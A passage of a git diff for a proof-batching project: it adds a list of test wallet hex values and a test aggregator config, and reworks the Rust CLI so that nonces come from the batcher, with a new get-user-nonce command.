+0x07d27ec58ed18063e966fe445ee347a2b9ba7e0bbe6e7f2fafb08ed4bb8eb8b8 +0xff1ffaed04e3ed71e2d3ad7292b4b6f04f04198ea2a18204c20b79de6ab18186 +0x873f27e0e1d75b3917116fe8b864ac2b6ffa16183d675edca3556ad8e010c2bd +0x0e3416883dfd248ffd68011a303c88470e6b42022d7947c91b5d32ed01d40e4c +0x7cf7f6d9b6bfe95790c6959a77f9e30cff3555073123e3dbd208b69b49b60764 +0x2f80138510ce9eba220cf90608767c2dcf7880e008dc5b4ca91118c57ab5d07d +0xb204fdbfecac030bf77a2416cabc5c893a99f80beedb9629e07fadbe70572e43 +0xf92f42363df4dee9d5176767703ca3a4fae139d97fee6232cfa1326cdb18fb15 +0x02da6bb49e37357150888d7815b203ba3ecc276c7ac31f4202722c6bedfbaab8 +0x49ce7e3dfb6749e0c519cace2e71c3f897fd9dcfec7c597cd65ff4fbdda166ec +0x1258ba723d31ffdd373a18fe31e414aca3efc60d29c4476097c3b165ccaa42fc +0xfc40df00651da509dc1775d3bd127f7c7b21abba28ae3ca380657814acb0a778 +0xd7599458c81e17846e5d6ec55fa1ee693bf0b0f029cbb0dc6d9b97e632a231d2 +0x06370960ccaed0d000312a9b38ecce5e74dc0d4552f70a97cdddde8eeba69615 +0x2f24eef74c357f6e4d903fdb94707e86b8a0b706759666b6c970ae35731d6307 +0xcac680a1b007fd36f95aacd78e1caef67f6f5abf0f1141171e4c85fadbccd423 +0x5af2c27f7b589f188696a7e6875311ceb743f735ae4fad7a0c57248b84a71011 +0x37bef72174dfc83d51008bf849e1a902b58136ec3d1b5892854a22616e98e6ed +0x6e88b325e1f29db63e6d4794db03cafa508b59c12e05ef8347baf076cd8eed38 +0xa96aa463487cf32e963eafe9ff7b289415f960ffc9e6d837b2a24cebef9e2a22 +0x480a8c2e20ed1f52570b334b554a731c773e3d28863d8cf0d0e3ffc6a36a939a +0xa66f591e029c9e4f1daed449910cc02b020e046c39e9110d6126d94ab2b52abe +0x89517b196a93d4d94455cfcbf2e0ad70bcf5c7b9e2de8d5caf30b37cf6689dde +0x608df463f7f34229e0c9dae1b8cb513a8966cdc14fa0a73ee011668e018bc622 +0x6fcbe123f74f938c1036d843b0faf550f5ad6411d24bfd5c72a150ea10ec1f7b +0x8b585e080666f0c7786fa005fa2335dde27e6cdac7a1a8078483b076c9324162 +0xf70061047d1a429696149d87b2b53f1da15a6293555ac69bffc03170b6d82a0a +0x399460807ad77b9121c166f21edb7a47bf59ce57f29cd3120a3e314d38ff23e8 +0x805790b8329f51873ab42d6aaa22f7785619a04ef4b432f22dc8bd26c1256038 +0x32e99ca1514dfc12f8ef2dbda21da82ca694765e7bfccf2b000e9718e88fdb30 +0x7ddde62e45ed5c6c75650026d5df47de1567055d2a8b46a3b9706701d2a4d150 +0x32b3d7f9b45b123000ecba55bb9c4843eb385b26ecec9395e97f0c20ea2881d7 +0xba024ce4c081e3c040d23dbce56229caf0c08ed639480c6f6a263055fe87bf75 +0x09725834ce114d7c8a660687f67abe74e6e72f8a620c9c3bd41f70d7a0d788d8 +0xad04ca97882673bd9570dd67b1f26b0ab298f4b5034fdea94ed42dffb6579486 +0xb224d1bc882a7cae9b8dc13c27db0c4f5f39aaf6efbc0eb26e273cf795afd1cd +0x8de3d2bac8bcb23b114db6182c4dc18ecd4d7072b15f50a0706ec1dc8e77acc1 +0x8d23c211c025cfb06c93395c70ce9d76d270c62d31d7c60b4f37c52f4b7a40ef +0x8a0f9743b88f2295a02566892335e786844a5f193f954ddd4385275dc08592a8 +0x31c10371e7c5b8ea19f1344d768c634f259c80156aed0454bd32ca987febd692 +0x4319759eaf53c2ff190ced08500a24beddec9a7d99196eb58f288bad347b78d1 +0xff00f78192766a27fa43a4fefc498efef4ad86c71c4c87fe5dcda06cffca4e71 +0xc0effc3cd8e4614e483cecc97474bc59674e38b0e19474c6adbab27eba4267a9 +0x3e3857dc9f23c1f5cd9ed2cc8dfdf33b905f88b184f191d0dcb23e36baef5cc6 +0x88325f6b91c08e496590556ba9a5a44aa2d621c7c9c7814abcbd2efa633a6b96 +0x510653c04b01f31a6096c32156567b294539ba9abab12d25e1c803aaa87fb24c +0xee7db0017cde67947101e65854659415e1e394cbff07d5806243cacd2d3587b8 +0x5e3918ef96becae9608096cc53b580a57c87f35daa9bc694277bcb754b907cdd +0x75256d56b7a5b2d9a5aa8f77797f6726ec50f69942a23185f6db1c5467988b19 +0x76e3318dab67dc7c0d5f93d5764fd1b54f25a543da77e8976f82c93daa26b2cb +0x180138ea1a86ae4686bde16deccd619b734af23940845c1d6e3d95786f92d1ef +0x3cb3bd3b74d84ea1e3d2739c461d1df3947bed394194b16e53d8032e9c4f6e9d +0x604e5e9a539368d8fc0cbd07823cbd0ad42f4154646b650bcb34edb74d0a47fe +0x41432404706738db971b8f00280ba63bb8532aad688175bf3e2f3f71edeb9836 +0x17661b25ce3fff7d67efb42ea6f19ac7d186edc584708bad6349312ac22288f8 +0x68e03aa7ed74cd5da0bdd6f93727346821d1a0008001acf61e21ac2b37a835bd +0x72244a4064ca82ce2639b0f7cce364a799e58d7b0690cf40861dc581a233603a +0xe06daf79b0396f028284f910d53451e442fe359424b001284ce96f94a6d377cf +0x16f78f0019adc47a03bc48edbdf78acae446492e5a76e99df7d8968290eb1135 +0xde9c7ff8e9dfbbcf8516c50dc359482958506719608bebad82e87fcc330c6571 +0xfddc3772cbe2e9827f4d741a32752739acf6f33776b8b13612fe0a51c6654502 +0x1f9962d9deaa51314b68b8a8e945bb83daeacf85aaf2ee15a15c0382ae9d303a +0xc13bd13b6cb6ecc0877409d103a87d7a1b66d09a90736fc6e47c1f7ed90dc778 +0x4266fab9816ea263afe1a5e4d69d55d77cc8d05704e05e4fb7059a483ce469d6 +0x78351209a77ce122a7d9caae2b8617b1938b3604176207569d50d2a705451176 +0xbac4e5803d00ca57c78fc52aeb8025a1de19904f2fe2e8719cfea56622323315 +0xae81024e2bf28ca614cc3b84add92ca72e8403dcad3f444ab6337ee846906338 +0x0aec48560602ad1fb187da060c0c879ac6c6b95fae04f7f5bda878a579083c7b +0x9f1530a55e1af046b4a006a4d8c4665806e5c21dc5f77314f91a222595cd7a53 +0x5daeaf1d0c4b5b1d6f945d071908dcc755c6bcf07db50dd31cc0140425019e5d +0x807eca3a316afe6ce96e59c6192209717a8a46a4d723d55bc7e8245817b97566 +0x392c5d2374f913272efffbf9888114ac233694cae4351c9600a2f83a59a8610b +0x70158132943bed58a5eb538e2cb23740ea14ced8880810d931eb48b56ff495ec +0x012d532011e68b58332f5b676976e1bfb83fc89f27d28e57d04392b61d055ce2 +0x8ede605300d48165a8dd708c01a4fbb6bfa8cebe23825c3e2c2c392cd95f96fc +0x2a9c292cf203d51ea4dcb532c083de350b851b94d995611c8af01ca201696001 +0x00b807b893d306b162989d3bb8d023663046174fef08eb00eff618bda1cfb6ef +0xbfa8995a3e966d38914bd560394fcc24244d6b98869d4d72133f687f644bcc3f +0x17778895ea9d337558b59f6552169b51682640f3bdfa0f7c72f3cd2a41fc342d +0x5b82578e991d45fdaf1b12ad5549369815e1b173a4fbd93603cceaf1e971ff38 +0x893e190085441b76c11115b5a11c58412c8f9d108122ca0fc0c3af9b544ef097 +0x5dd48520a0858054c001509a08242f7156abb7ab8039b0be8df51c165543ffa3 +0xc5a1122984ba8f295ed781e0c9a092b523b74663f0f2d709f8ca694977c6c5c6 +0x92200c25553dd7513a2822049484d81ba1403c55fba88cc48ef5c232b57d30ce +0x21235b2a7c28b26a16673bfacfa899f34ba3e5e61be750eafb8dbcac4ca7346d +0x9e5b3ef494bb2730ea3d705b4262018c8792c5a9354e121745188ccf5540bd2d +0x4b899d3050c4cc4207423141da694dfb689ae29463614c5dbaa972ab16bf1583 +0x7e9390e6e888ccf676bb05deadfaaccfa7a7a656fc04c027452a8624028e4669 +0xa6fa381f8652139f029ffe86c5c075c126bbbd6ef29494778150fac5eef6114c +0xfbe814be8ccebf984b850f2fe785f4b4e1f6399bceb2008c9f6f8941a7c97237 +0x66dc9937e4ed1e3913b8f14729c8730c26a53866c26868225bb79b989d571aa9 +0xde5f76e5d92d3b29f035d0fd88dd1ff2897b26c01d565cf156056580b3eb9cb4 +0xef8412717852d53c880ee5ade12969f3ff34b88af1ab916ab5a5910e07c6229d +0xb4f494bf5c86016e78c8553034caaebac82a25d366f01cbf9abc8972d8979dae +0x8eaec2642be5b1a25e13055d9717070a10dc7077471cbca6ec25decfe1f32008 +0x3549eea83c4750c321540df47ff7ca79d09d29a18df3dc5c2faf594db766e10c +0x3ae17a41b78373863b8b020e2b9e5352fcf34b2228d7f34840a1de71d6c61ae4 +0x304082960937af85695a5b0baf8d66b84e58361e0a42992ce809ed2286e5926e +0x9d5be4c77d8ffbae5b651509dd29dca0fede0ee806df3273b73aa5cd395df03d +0x4779d9f99f97afd6bc4d04796d492dc46798e935c5cf91b11d6d7c2e7f15fb42 +0xe74f3107f2a73bf3729a6dad055166289d96a89d0a225b166a89a589dcf734b3 +0xa90795d17d53af78df45d65d243d2dbc7f74f90916166e6526323cfea9f17f7a +0xf9ccdb5425cb24f0b85e3609076dc5c477846eb0359137fdb8156d247d7702a7 +0x124bf5185ada102d1d3a2fa30481515dcfed0fa9f36498de3a1a56b4e8966994 +0x9a6461d451f42c3bc63475201006312d19311f635f322b2b5b2c9dd871b6d854 +0x60be29a11cf03a90c540df34eec5214de5e6a4a5e3856daa3d24d3c621b0d6f8 +0xf4c2537fd7b8f81952a5285d781cae5608b5aef2f9013936bddcf4d50dd02037 +0xc4167481d59afa2c98cae8de250dedfc918a90bfdea28e563f04048fe1ed146e +0x70c1af7c208fc3109259a3bc03b01ee115148ff2a6da6b66885e5b14dbf4c69e +0x7c3824e103c7777e3baa450392ca4fa603df7856c547925d7d93504d92b2795e +0x384ba3de457f1a498dd40b7490c3c20f3112d01bf720b99d9a005e8c3634e90d +0xce0aa189fb07b78c4ae5745ec97acb76b420d9ca44552e467da216d8ee6c3a38 +0x347aa6f1073b0e0316f81553043aaba655b030f9200d2c4cde2a9d4f2131ffbb +0x11009500ce13b57a8d660796922bccb859c0851b39b53e3a540fad0250e40a35 +0xebd4885052d7ec5448eac4bd7e5ba159d3439e6dc6e6d9d117e85b2e6a0f82cc +0x7e419cc96a08ba0b36e43fb9bf6dffc7b57c191cfcd7acf2d7fbef2d2228d3ad +0xe388350f04d5a77de4472abb9984b6a8440a2e3c76d23d1f2b9172cd5a48da71 +0x28bd4ec4e200ecfc544772d097c84a533278ace220aa510d62788415ac3af4a6 +0x2939c321fe2081a541075e2e28b623c1076b253545c6aa1e65a824310ecaa014 +0x2b31d88e5caa83ece839cc1a5e08cba9bed1b9a03f274eb462916a1fb67ad48d +0xb9c481a264816b6710712b53d96a7c6b96f1efe9fd38273dbdd194390896bf60 +0x223d04ed779d405525532ae67e15665ae66d3c94415cdaa6df49d086d078042f +0x185647aea6f0d0b078a6f41a404ef74def3e087ea125faebf3ff5451ca6c381e +0x4d73b819a49a2324eb8f8fc9ef3e9d499398cafddede93a6db428a3bd7b53b2d +0x8094f1fbb9c427e51a5f4ed4d276563ac64086763ebc3d095d6e9a278371122f +0xe42b20b28be1cb148315b0616027bbfba220b4c1dea0ebf1300a5e833f0a61c6 +0xd5f3d44775d5d6791aa4573094c00a2c624b3888054e4dc38dcad8d2a0105774 +0x93a7288210da084970435d1570e9e35d0f41e09e565f31d2fc3429e0a654fe06 +0x62801f613e54b10bf21ae91a2e3741dc9a264c6a1b6d4a87b3baceee0c081817 +0x2b48b7f17fedc2ce4bd66d0fe4c5d09bae8048e24eff621c256a7532e245f034 +0x57e5686642ff6ae40cd2861cbe39476748eb5ce2f25c441970dc2ad3bf2d4059 +0x587a785d5e61d5a88d68342517a6709c80bc419630c01dc6169d3221edd071c1 +0x2a37bb759fda8f361bd05c3d742af7b7d21ab8930b32a0a226522ec15b52f60d +0xfbac998a65240c1239501741dd37e0d9e1a46bf10fad4c33d34e90fd3d1c5cb3 +0x45f8b3684c82b328ade09ab3026b014ec00be3f456386d53021a6f3a020e76b1 +0xb6cbe9270da71c418e2c7b81e1819147b8e6b7199360339c72828a108fdb6b4b +0x0e9207c7d930b129f1ffc9960271d2ce552c640d7065a5c35756817c4cc3f69e +0xed08b83e8d4057eda7931073ee34c47713f6a031f81e47025ccff1e25057dd48 +0xdb4f6539d06eaa212e640f69a7d1b7688d2c05de24c537a98051e7f8d4641498 +0xf20e45bb721a03c832d07e97c4fa24bde7adc70438ae2d28b51fc5dbdb66ff20 +0x602f978f5e0a1c0668320ddc119cffdace986ffecd384b39f727f7d1dc617b0d +0xdf25f85dbfa95c870a349884a69c67c43892f10c90320127a7e815bb1ae5fb78 +0x45af921982076e5ca149f2dd873e85f616380ade6a730c75f0dfe54e4b22bdc8 +0x6af130fc8ab2c37dbbb1fd746a3c6f20c7e41bae8594c825f306ff8639ecc783 +0x4a78fa7a6e17f2d43f692ff5b8549ecf988af9636caef6dcace5efa1746f14a0 +0xe9821693a18157253a269f8ec3c3789f17c1caa21c4d893e51caff28e6ebc215 +0x6550c56ee9987a29ba04b436170958fa31baa3bd68d7b1897d6d3c06f0089366 +0x7d8576adf359726aeab5c4e884bc85c3a310a2ab6bb6d6bad299d5ba28ee0d62 +0x1e7a4679e4359766ec92b727f643a4c94c6ab9a2d1b0169e7cb4b8b122116895 +0x1df14f0560c8b05b1b6a6ff89a10b56df8d418df9d6d5a4039b84a6a98cd6f17 +0xcf8500c8a045aec419823d449498019b118b8d8cd374ac4c03301c64bede2f1d +0x90743cf8e971a87ea6918d4c2f946bfee90857d8f0134006d0a59a0faba69ab5 +0x639e4e6c8e3db867a9ea8a8ea0bcf79fa323960709345b7379da42e5330a5324 +0xfc965d8a5618e394e237da221231dccdb0ff6345bd333cbc7a07de647e5012b6 +0xebbb9d80b6c3beb886aef553ba9b11f8726003d4c5e87e655bad45ba94071108 +0xabcfad5f1ade819d29ee60346423dbe69712997aba1a734d94d1ef33f4f57d43 +0xa8276df5997ffb5b44049660a1db39dbc5830cbe7384af654252ebf7f98b5073 +0x84572d2a9841ae1e3ff579a58e23c6cd75c995ab7be1fc36a198cde9a70a1027 +0xc24ecc7736294aa5c29ad50bd3d1cd8ecbceb878e7f4f526560bac97eb1b4dc3 +0x4e88718e988362a726fb834255c24bb2992ebd2a4736c92607cc508c1ffbcf48 +0x34008f1d06f3a3dc3256461ab401edac49a1b72bf132cbd0a85e620844401e99 +0xb0978f0d84e5f48e1e141b6f7c2110e3c20bbd2d78eb27e94e3cfc3e40d11b55 +0x4ce54ef43ded78b85a2cf4593995da08e332219bafa870e5a8e8cba622a35b07 +0x1c539b034f4c0df7563e0ada27142c853a43d87cad1c40e8c647baa0533512e8 +0x6bebef3190c4d7e5e8a55eb71e84e85ec936773ee04711a0c50cab975000fe23 +0x9d0f589eb62415794dc2843198f4b098337929e1dd74ca72fe56fe999372f469 +0x873773cf24c9b190be5152b5a8cf31343627febf70f53e025a262492f62b547c +0xa808f041e5b7ec01de9f29e23a0c27e152afe3e358ae7e63d885f101b45230ee +0xc7efa983e9c6b335fa667acd1f29b23974dd2340f3dd7d34f2457c8df6f723dd +0xf19013415cbdbedfc7e3466508a078e7d508b3b3dfe7058528ecf7959617b9de +0x0d5e4ce6e34fd3e809c2cf68789230a3b6dff53d3a3e8d43e40409f0192a787a +0xc3fcc4a5cafd2fea45c9d8eb791a0160e1e13d8d175d8d92c89adcd9aa323576 +0x160cc7d4a458024a5a6cf90a0a8de321288fec487002f039f6f7cb5319aac9b7 +0xdc0c8f884a5b7d0fb32049d0c1da12c81012da1f87ff722554b43306293b68bc +0xc0b86773f57f5464204bff7dfce2e48bc2c90f76883f1f672e9954d2873d324e +0x9e9581dd641fa00ea4aed7b1080794357329edeb1e43648fed42628c301a71ab +0xb9a78114b7422d9b8109f73765eb3353fe4c51618cf8c406d15145f02fe63cb3 +0x2f1f85662af0848ea9d46aa04f1549f59a3c4408aa22a127a694a0e30ffb9b8a +0x4602dc114c7dd2463e4d0532b652e9c11544f4f6e1531b20bec6031f5b87dbe6 +0x5ea12122aa551611e5c0cfdaccd40d52dbc26b2aa48de5fac4d6835ac6413573 +0xa11d31468f1c7570c44275e88426721f80cadc9185d2620c02a2086048864911 +0xfede01c2c19e9816385eb2f2ee671ec365b508ab7f04536b828a2396878f8bcc +0x3cad8e3ed055aaf6450ae83b05e8b4ece2a2e5bd25bf8b9ccb6c924ec7ac2f3b +0x91c454df1d2b93581b6c952958507e8a1b16aae4ee508db1e07bb36c465e36be +0xf680bdd876c8c0de2586c64dc05f5c5b1795c8bff082390314d74a5ac2e7e60c +0x5028019529068c6aca9804ffc1f9138cdd53ed583e539b86d4437666b7bf9a96 +0xfb1e0484a17d9cf40c68b47b9860a08c3f00acb26595e57f4c8820d203c049ff +0x02594c3d67d168fb9be66eb585b9f6dfdd6bc6d69141d5a17fd5df447bf69377 +0x675ad456e2eef59553c49fad43be09861d3caff170f798818fb5e4f42ea7e9d6 +0xe7ad461b7d1bb0ef4c8ca4c032e93cc5ae718057536a11624f376d7864d75a2f +0xaf873ec8ceab5d82d111cd283ee3674ee677abc06b2c8588fc700126e754765f +0x5c03196a1452b289d1f21d4d4153bf5103d78967393d23974a4021555a1216de +0x5dba3f143d406caf617dafd7c160408c4c967de019605ff3f5a5b184e5423098 +0xf810d03508f804e07fdaacb29f246eb9ea0f3a1ff1e35aee90fdeb1bb09c4701 +0x3f8e649b09d9ecd613bf9675ab740d8bef487e8847b42ddf450a112a15dee6ce +0xcfe0f9042d6bfdbd6898895037897c5e635d80b3c6eb20e7bf1ca9ef70502623 +0x7837ccbedad064e94bc6245923a16d2e581d47445bb7779e717b0a88424a5e72 +0x3a49954f0e5afc4fbf19bd5b1896400d0c7551fd049a7149460351c3bb69cbdf +0x344305866aebe9cf41826424214dad0b3c3bf7423b59f5cf25fda627f21b026a +0xf9ae9a0cacba9e6f36f3be099288508a33bd3515719a50a9541700996e27a8f7 +0x31b4aa614d033b49b7a20ddd9514e832e0b889faab334d11d4db3488ad24630e +0x109f40ff236b51eacd63f145710c2a7b21eb6172de74b51ddeb7d935dda85733 +0xe25ef99e9ad166c7e7c98637cab81e54b664229df7b9d1a6163d5856e2a082a8 +0x2b33e5120ea76e1fab4ff0bb174fa774ac0d27a0135fccdd93108fcd165f7407 +0xa2a48566ed88015b846cc8da1593cfd6cf3426a7bf68bdb036290f79753ff008 +0xe2ee1dbd18bf2983d7be8a2d60c244302c0705eac732521254dad50b7135efee +0xb613244fd76f708d5cd8db0e4879bfce011d2bcbc384bffc31d8a6cf865ab7be +0x36f1bcb2eb3cb0768a79f7f267cd6b89052f3d5df3bf3587c9d117dfea97caab +0xfe4213b9b8d9d86ccad64e376d44f37bab67d133d1a76f25e9b3f99dad268fa4 +0x6410cf00028abe2e5d4a0f4346093e7133b0d57fd7a360aa4c7bef15b8015919 +0x8ab448b1d58978cf4685eee5edc77c025aad54a185ef536e639a1c04d43e4b15 +0xb6220b7dff90ae9ce6d833aa9c881a86bf59014cef6a425cfc9d415f92e40172 +0x1b75e5d845985c02aed9e9bc57d895be6481db9538dad5c826de6b532d5d628f +0x9ece7166023ebb75849e299687c5aae9862f31a79268fe10804421ea8739ed2a +0x1b9c69fc0155857be7d82137eedb991c796937c3a01a13645fadc9e501c016f9 +0xae2cb5a8a85beb501fdf30120231e5bbc59effd800123f9c70c13c073b24642a +0x78b8dac1bc7dc3620adffa3abe8c41e2368c8cd77f80919e6a25b212a967b567 +0xc01362fbec4384a90802c33a2f31b925e7d22b6e36c657fc317c7139ff19e097 \ No newline at end of file diff --git a/batcher/aligned-task-sender/wallets/holesky-stage b/batcher/aligned-task-sender/wallets/holesky-stage new file mode 100644 index 000000000..e69de29bb diff --git a/batcher/aligned/Cargo.toml b/batcher/aligned/Cargo.toml index 25821d8c3..97ad2787c 100644 --- a/batcher/aligned/Cargo.toml +++ b/batcher/aligned/Cargo.toml @@ -24,10 +24,7 @@ log = "0.4.21" env_logger = "0.11.3" clap = { version = "4.5.4", features = ["derive"] } lambdaworks-crypto = { git = "https://github.com/lambdaclass/lambdaworks.git", rev = "efd46f0b0aea3aa95d94bba7de86cb96611b40d3", features = ["serde"] } -ethers = { tag = "v2.0.15-fix-reconnections", features = [ - "ws", - "rustls", -], git = "https://github.com/yetanotherco/ethers-rs.git" } +ethers = { version = "2.0", features = ["ws", "rustls"] } aligned-sdk = { path = "../aligned-sdk" } rpassword = "7.3.1" sha3 = { version = "0.10.8" } diff --git a/batcher/aligned/send_infinite_sp1_tasks/send_infinite_sp1_tasks.sh b/batcher/aligned/send_infinite_sp1_tasks/send_infinite_sp1_tasks.sh index 1e263623a..079a8dcc5 100755 --- a/batcher/aligned/send_infinite_sp1_tasks/send_infinite_sp1_tasks.sh +++ b/batcher/aligned/send_infinite_sp1_tasks/send_infinite_sp1_tasks.sh @@ -27,7 +27,7 @@ do random_address=$(openssl rand -hex 20) echo "Random address: $random_addr" - aligned submit \ + cargo run --release -- submit \ --proving_system SP1 \ --proof ../../scripts/test_files/sp1/sp1_fibonacci.proof \ --vm_program ../../scripts/test_files/sp1/sp1_fibonacci.elf \ diff --git a/batcher/aligned/src/main.rs b/batcher/aligned/src/main.rs index 906653efa..e8df5118b 100644 --- a/batcher/aligned/src/main.rs +++ b/batcher/aligned/src/main.rs @@ -1,6 +1,5 @@ use std::collections::HashSet; use std::fs::File; -use std::io; use std::io::BufReader; use std::io::Write; use std::path::PathBuf; @@ -12,7 +11,7 @@ use aligned_sdk::core::{ types::{AlignedVerificationData, Network, ProvingSystemId, VerificationData}, }; use aligned_sdk::sdk::get_chain_id; -use aligned_sdk::sdk::get_next_nonce; +use aligned_sdk::sdk::get_nonce_from_batcher; use aligned_sdk::sdk::{deposit_to_aligned, get_balance_in_aligned}; use aligned_sdk::sdk::{get_vk_commitment, is_proof_verified, save_response, submit_multiple}; use clap::Parser; @@ -29,6 +28,7 @@ use transaction::eip2718::TypedTransaction; use crate::AlignedCommands::DepositToBatcher; use crate::AlignedCommands::GetUserBalance; +use crate::AlignedCommands::GetUserNonce; use crate::AlignedCommands::GetVkCommitment; use crate::AlignedCommands::Submit; use crate::AlignedCommands::VerifyProofOnchain; @@ -56,6 +56,8 @@ pub enum AlignedCommands { DepositToBatcher(DepositToBatcherArgs), #[clap(about = "Get user balance from the batcher", name = "get-user-balance")] GetUserBalance(GetUserBalanceArgs), + #[clap(about = "Get user nonce from the batcher", name = "get-user-nonce")] + GetUserNonce(GetUserNonceArgs), } #[derive(Parser, Debug)] @@ -199,6 +201,23 @@ pub struct GetUserBalanceArgs { user_address: String, } +#[derive(Parser, Debug)] +#[command(version, about, long_about = None)] +pub struct GetUserNonceArgs { + #[arg( + name = "Batcher connection address", + long = "batcher_url", + default_value = "ws://localhost:8080" + )] + batcher_url: String, + #[arg( + name = "The user's Ethereum address", + long = "user_addr", + required = true + )] + address: String, +} + #[derive(Debug, Clone, ValueEnum, Copy)] enum NetworkArg { Devnet, @@ -302,52 +321,71 @@ async fn main() -> Result<(), AlignedError> { let nonce = match &submit_args.nonce { Some(nonce) => U256::from_dec_str(nonce).map_err(|_| SubmitError::InvalidNonce)?, - None => { - get_nonce( - ð_rpc_url, - wallet.address(), - submit_args.network.into(), - repetitions, - ) - .await? - } + None => get_nonce_from_batcher(&connect_addr, wallet.address()) + .await + .map_err(|e| match e { + aligned_sdk::core::errors::GetNonceError::EthRpcError(e) => { + SubmitError::GetNonceError(e) + } + aligned_sdk::core::errors::GetNonceError::ConnectionFailed(e) => { + SubmitError::GenericError(e) + } + aligned_sdk::core::errors::GetNonceError::InvalidRequest(e) => { + SubmitError::GenericError(e) + } + aligned_sdk::core::errors::GetNonceError::SerializationError(e) => { + SubmitError::GenericError(e) + } + aligned_sdk::core::errors::GetNonceError::ProtocolMismatch { + current, + expected, + } => SubmitError::ProtocolVersionMismatch { current, expected }, + aligned_sdk::core::errors::GetNonceError::UnexpectedResponse(e) => { + SubmitError::UnexpectedBatcherResponse(e) + } + })?, }; + warn!("Nonce: {nonce}"); + let verification_data = verification_data_from_args(&submit_args)?; let verification_data_arr = vec![verification_data; repetitions]; info!("Submitting proofs to the Aligned batcher..."); - let max_fees = vec![max_fee; repetitions]; - - let aligned_verification_data_vec = match submit_multiple( + let aligned_verification_data_vec = submit_multiple( &connect_addr, submit_args.network.into(), &verification_data_arr, - &max_fees, + max_fee, wallet.clone(), nonce, ) - .await - { - Ok(aligned_verification_data_vec) => aligned_verification_data_vec, - Err(e) => { - let nonce_file = format!("nonce_{:?}.bin", wallet.address()); - - handle_submit_err(e, nonce_file.as_str()).await; - return Ok(()); - } - }; + .await; let mut unique_batch_merkle_roots = HashSet::new(); for aligned_verification_data in aligned_verification_data_vec { - save_response( - batch_inclusion_data_directory_path.clone(), - &aligned_verification_data, - )?; - unique_batch_merkle_roots.insert(aligned_verification_data.batch_merkle_root); + match aligned_verification_data { + Ok(aligned_verification_data) => { + info!( + "Proof submitted to aligned. Batch merkle root: 0x{}", + hex::encode(aligned_verification_data.batch_merkle_root) + ); + save_response( + batch_inclusion_data_directory_path.clone(), + &aligned_verification_data, + )?; + unique_batch_merkle_roots + .insert(aligned_verification_data.batch_merkle_root); + } + Err(e) => { + warn!("Error while submitting proof: {:?}", e); + handle_submit_err(e).await; + return Ok(()); + } + }; } match unique_batch_merkle_roots.len() { @@ -478,6 +516,18 @@ async fn main() -> Result<(), AlignedError> { } } } + GetUserNonce(args) => { + let address = H160::from_str(&args.address).unwrap(); + match get_nonce_from_batcher(&args.batcher_url, address).await { + Ok(nonce) => { + info!("Nonce for address {} is {}", address, nonce); + } + Err(e) => { + error!("Error while getting nonce: {:?}", e); + return Ok(()); + } + } + } } Ok(()) @@ -541,7 +591,7 @@ fn verification_data_from_args(args: &SubmitArgs) -> Result { error!("Invalid nonce. try again"); @@ -550,15 +600,14 @@ async fn handle_submit_err(err: SubmitError, nonce_file: &str) { error!("Batch was reset. try resubmitting the proof"); } SubmitError::InvalidProof(reason) => error!("Submitted proof is invalid: {}", reason), - SubmitError::InsufficientBalance => { - error!("Insufficient balance to pay for the transaction") + SubmitError::InsufficientBalance(sender_address) => { + error!( + "Insufficient balance to pay for the transaction, address: {}", + sender_address + ) } _ => {} } - - delete_file(nonce_file).unwrap_or_else(|e| { - error!("Error while deleting nonce file: {}", e); - }); } fn read_file(file_name: PathBuf) -> Result, SubmitError> { @@ -572,43 +621,6 @@ fn read_file_option(param_name: &str, file_name: Option) -> Result Result<(), SubmitError> { - std::fs::write(file_name, content) - .map_err(|e| SubmitError::IoError(PathBuf::from(file_name), e)) -} - -fn delete_file(file_name: &str) -> Result<(), io::Error> { - std::fs::remove_file(file_name) -} - -async fn get_nonce( - eth_rpc_url: &str, - address: Address, - network: Network, - proof_count: usize, -) -> Result { - let nonce = get_next_nonce(eth_rpc_url, address, network).await?; - - let nonce_file = format!("nonce_{:?}.bin", address); - - let local_nonce = read_file(PathBuf::from(nonce_file.clone())).unwrap_or(vec![0u8; 32]); - let local_nonce = U256::from_big_endian(local_nonce.as_slice()); - - let nonce = if local_nonce > nonce { - local_nonce - } else { - nonce - }; - - let mut nonce_bytes = [0; 32]; - - (nonce + U256::from(proof_count)).to_big_endian(&mut nonce_bytes); - - write_file(nonce_file.as_str(), &nonce_bytes)?; - - Ok(nonce) -} - pub async fn get_user_balance( provider: Provider, contract_address: Address, diff --git a/config-files/config-aggregator-docker.yaml b/config-files/config-aggregator-docker.yaml index 81c7aba1d..6185fedf1 100644 --- a/config-files/config-aggregator-docker.yaml +++ b/config-files/config-aggregator-docker.yaml @@ -30,3 +30,4 @@ aggregator: garbage_collector_period: 2m #The period of the GC process. Suggested value for Prod: '168h' (7 days) garbage_collector_tasks_age: 20 #The age of tasks that will be removed by the GC, in blocks. Suggested value for prod: '216000' (30 days) garbage_collector_tasks_interval: 10 #The interval of queried blocks to get an old batch. Suggested value for prod: '900' (3 hours) + bls_service_task_timeout: 168h # The timeout of bls aggregation service tasks. Suggested value for prod '168h' (7 days) diff --git a/config-files/config-aggregator-test.yaml b/config-files/config-aggregator-test.yaml new file mode 100644 index 000000000..ac0a122b7 --- /dev/null +++ b/config-files/config-aggregator-test.yaml @@ -0,0 +1,29 @@ +# Common variables for all the services +# 'production' only prints info and above. 'development' also prints debug +environment: "production" +aligned_layer_deployment_config_file_path: "../contracts/script/output/devnet/alignedlayer_deployment_output.json" +eigen_layer_deployment_config_file_path: "../contracts/script/output/devnet/eigenlayer_deployment_output.json" +eth_rpc_url: "http://localhost:8545" +eth_rpc_url_fallback: "http://localhost:8545" +eth_ws_url: "ws://localhost:8545" +eth_ws_url_fallback: "ws://localhost:8545" +eigen_metrics_ip_port_address: "localhost:9090" + +## ECDSA Configurations +ecdsa: + private_key_store_path: "../config-files/anvil.aggregator.ecdsa.key.json" + private_key_store_password: "" + +## BLS Configurations +bls: + private_key_store_path: "../config-files/anvil.aggregator.bls.key.json" + private_key_store_password: "" + +## Aggregator Configurations +aggregator: + server_ip_port_address: localhost:8090 + bls_public_key_compendium_address: 0x322813Fd9A801c5507c9de605d63CEA4f2CE6c44 + avs_service_manager_address: 0xc3e53F4d16Ae77Db1c982e75a937B9f60FE63690 + enable_metrics: false + metrics_ip_port_address: localhost:9091 + telemetry_ip_port_address: localhost:4001 \ No newline at end of file diff --git a/config-files/config-aggregator.yaml b/config-files/config-aggregator.yaml index 83ff4e49d..ab8c32ac2 100644 --- a/config-files/config-aggregator.yaml +++ b/config-files/config-aggregator.yaml @@ -24,7 +24,6 @@ bls: # batch_size_interval: 10 # max_proof_size: 67108864 # 64 MiB # max_batch_size: 268435456 # 256 MiB -# eth_ws_reconnects: 99999999999999 # 